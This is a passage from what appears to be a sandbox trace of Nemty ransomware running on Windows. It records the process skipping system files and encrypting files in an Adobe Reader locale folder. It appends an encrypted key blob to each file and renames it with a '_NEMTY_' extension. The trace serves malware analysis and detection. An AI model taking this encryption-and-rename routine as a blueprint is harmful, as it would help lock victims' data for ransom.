ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="BRdlang32.FRA", cAlternateFileName="BRDLAN~1.FRA")) returned 1 [0177.025] lstrcmpiW (lpString1="BRdlang32.FRA", lpString2=".") returned 1 [0177.025] lstrcmpiW (lpString1="BRdlang32.FRA", lpString2="..") returned 1 [0177.025] lstrcmpiW (lpString1="BRdlang32.FRA", lpString2="...") returned 1 [0177.025] lstrcmpiW (lpString1="BRdlang32.FRA", lpString2="windows") returned -1 [0177.025] lstrcmpiW (lpString1="BRdlang32.FRA", lpString2="$RECYCLE.BIN") returned 1 [0177.025] lstrcmpiW (lpString1="BRdlang32.FRA", lpString2="rsa") returned -1 [0177.025] lstrcmpiW (lpString1="BRdlang32.FRA", lpString2="NTDETECT.COM") returned -1 [0177.025] lstrcmpiW (lpString1="BRdlang32.FRA", lpString2="ntldr") returned -1 [0177.025] lstrcmpiW (lpString1="BRdlang32.FRA", lpString2="MSDOS.SYS") returned -1 [0177.025] lstrcmpiW (lpString1="BRdlang32.FRA", lpString2="IO.SYS") returned -1 [0177.025] lstrcmpiW (lpString1="BRdlang32.FRA", lpString2="boot.ini") returned 1 [0177.025] lstrcmpiW (lpString1="BRdlang32.FRA", lpString2="boot.ini") returned 1 [0177.025] lstrcmpiW (lpString1="BRdlang32.FRA", lpString2="AUTOEXEC.BAT") returned 1 [0177.025] lstrcmpiW (lpString1="BRdlang32.FRA", lpString2="ntuser.dat") returned -1 [0177.025] lstrcmpiW (lpString1="BRdlang32.FRA", lpString2="desktop.ini") returned -1 [0177.025] lstrcmpiW (lpString1="BRdlang32.FRA", lpString2="CONFIG.SYS") returned -1 [0177.025] lstrcmpiW (lpString1="BRdlang32.FRA", lpString2="RECYCLER") returned -1 [0177.025] lstrcmpiW (lpString1="BRdlang32.FRA", lpString2="BOOTSECT.BAK") returned 1 [0177.025] lstrcmpiW (lpString1="BRdlang32.FRA", lpString2="bootmgr") returned 1 [0177.025] lstrcmpiW (lpString1="BRdlang32.FRA", lpString2="programdata") returned -1 [0177.025] lstrcmpiW (lpString1="BRdlang32.FRA", lpString2="appdata") returned 1 [0177.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.FRA", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.FRA", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.FRA", lpUsedDefaultChar=0x0) returned 13 [0177.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.FRA", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.FRA", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.FRA", lpUsedDefaultChar=0x0) returned 13 [0177.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.FRA", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.FRA", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.FRA", lpUsedDefaultChar=0x0) returned 13 [0177.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.FRA", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.FRA", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.FRA", lpUsedDefaultChar=0x0) returned 13 [0177.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0177.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.026] Sleep (dwMilliseconds=0x5) [0177.026] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d29b830, dwHighDateTime=0x1d561e8)) [0177.026] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d29b830, dwHighDateTime=0x1d561e8)) [0177.027] GetLastError () returned 0x0 [0177.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.027] GetLastError () returned 0x0 [0177.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.027] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.027] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.027] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0177.027] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="dhq4D1yt1+3vITGtcJA0xfYtnPq5M0ZAVDTzouoLsdbLiTyz5Fou9mU0vaTAihsr\r\npj9J/X8Vvcr0GQx2ECS8bIy5LpzFA+VJFdPPuc62ZmCg8TvT1/pI9zaaeG3F1yMq\r\nuCVJwnrfO30QDMBeik2mmDNJ23216HpzvgFZcWCOdsp2VWpihh+qNkDnwHjI09nF\r\nvoFlD8L2rmvRQkZPFH0/t8q2qOkTmqxyOTAwmu6qxR0fqc/azgM6lbyK3zsDwh3+\r\ntdtLJ8u7WcJw9B8ZO584DJuo5uXNY1PpGLH6V71muKffSobnUSe/RKaQIFNiLh8Y\r\nFZk7zQvxIi3l6SVMr5C+mA==\r\n", pcchString=0x653e5dc) returned 1 [0177.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0177.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.027] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\BRdlang32.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\brdlang32.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.028] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=14336) returned 1 [0177.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3800) returned 0x6352c48 [0177.028] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.028] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3800, lpOverlapped=0x0) returned 1 [0177.030] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.030] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3800, lpOverlapped=0x0) returned 1 [0177.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.030] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=14336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3800 [0177.030] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.031] CloseHandle (hObject=0x2e8) returned 1 [0177.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0177.031] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.031] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0177.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0177.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0177.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.031] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\BRdlang32.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\brdlang32.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\BRdlang32.FRA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\brdlang32.fra._nemty_kgobjgd_")) returned 1 [0177.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0177.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0177.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.032] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e05720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Checkers.FRA", cAlternateFileName="")) returned 1 [0177.032] lstrcmpiW (lpString1="Checkers.FRA", lpString2=".") returned 1 [0177.032] lstrcmpiW (lpString1="Checkers.FRA", lpString2="..") returned 1 [0177.032] lstrcmpiW (lpString1="Checkers.FRA", lpString2="...") returned 1 [0177.032] lstrcmpiW (lpString1="Checkers.FRA", lpString2="windows") returned -1 [0177.032] lstrcmpiW (lpString1="Checkers.FRA", lpString2="$RECYCLE.BIN") returned 1 [0177.032] lstrcmpiW (lpString1="Checkers.FRA", lpString2="rsa") returned -1 [0177.032] lstrcmpiW (lpString1="Checkers.FRA", lpString2="NTDETECT.COM") returned -1 [0177.032] lstrcmpiW (lpString1="Checkers.FRA", lpString2="ntldr") returned -1 [0177.032] lstrcmpiW (lpString1="Checkers.FRA", lpString2="MSDOS.SYS") returned -1 [0177.032] lstrcmpiW (lpString1="Checkers.FRA", lpString2="IO.SYS") returned -1 [0177.032] lstrcmpiW (lpString1="Checkers.FRA", lpString2="boot.ini") returned 1 [0177.032] lstrcmpiW (lpString1="Checkers.FRA", lpString2="boot.ini") returned 1 [0177.032] lstrcmpiW (lpString1="Checkers.FRA", lpString2="AUTOEXEC.BAT") returned 1 [0177.032] lstrcmpiW (lpString1="Checkers.FRA", lpString2="ntuser.dat") returned -1 [0177.032] lstrcmpiW (lpString1="Checkers.FRA", lpString2="desktop.ini") returned -1 [0177.032] lstrcmpiW (lpString1="Checkers.FRA", lpString2="CONFIG.SYS") returned -1 [0177.032] lstrcmpiW (lpString1="Checkers.FRA", lpString2="RECYCLER") returned -1 [0177.032] lstrcmpiW (lpString1="Checkers.FRA", lpString2="BOOTSECT.BAK") returned 1 [0177.032] lstrcmpiW (lpString1="Checkers.FRA", lpString2="bootmgr") returned 1 [0177.032] lstrcmpiW (lpString1="Checkers.FRA", lpString2="programdata") returned -1 [0177.032] lstrcmpiW (lpString1="Checkers.FRA", lpString2="appdata") returned 1 [0177.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.FRA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.FRA", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.FRA", lpUsedDefaultChar=0x0) returned 12 [0177.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.FRA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.FRA", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.FRA", lpUsedDefaultChar=0x0) returned 12 [0177.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.033] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.033] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.FRA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.033] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.FRA", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.FRA", lpUsedDefaultChar=0x0) returned 12 [0177.033] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.033] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.FRA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.033] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.FRA", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.FRA", lpUsedDefaultChar=0x0) returned 12 [0177.033] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.033] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.033] Sleep (dwMilliseconds=0x5) [0177.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d2c1990, dwHighDateTime=0x1d561e8)) [0177.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d2c1990, dwHighDateTime=0x1d561e8)) [0177.042] GetLastError () returned 0x0 [0177.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.042] GetLastError () returned 0x0 [0177.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.042] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.042] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.043] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0177.043] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="KxeFcQ87BhTerRC4a7leyglzX84Zric/LLlV4bVvyPsCG8OnW+aWbbiBlmINMNiX\r\nVuHSPFfj2+KKl8Wmi5mryfhSkr4vw/WAWk6pGBh9yKTm5Xh871lrYQuuQ0zMJmep\r\nGk+hPwOuFwrCm5COEc1L5CnII6ZiIY1e1jRRJRZfU8qFRVmfGbsCm9ZaCWrD3QHb\r\nCXmYMkyBvPR3YxL2ejc0eUmHgbfB9WZTKce9EBFQaF1/h0YyuKK1dpnGFs4WlGkw\r\ndpzYM1pOuS4dQEn43fv+AKCbVmmFK0VGWzi4wHzivONLu8aIklZlNk22LCncTBLH\r\nTEpWsi2SM07oK6Fxz4EsGg==\r\n", pcchString=0x653e5dc) returned 1 [0177.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0177.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.043] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Checkers.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\checkers.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.044] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=133632) returned 1 [0177.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0177.044] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.044] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0177.053] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.053] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0177.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.054] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=133632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20a00 [0177.054] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.054] CloseHandle (hObject=0x2e8) returned 1 [0177.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0177.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0177.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0177.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0177.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.054] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Checkers.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\checkers.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Checkers.FRA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\checkers.fra._nemty_kgobjgd_")) returned 1 [0177.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0177.055] HeapFree (in: hHeap=0x4f90000, 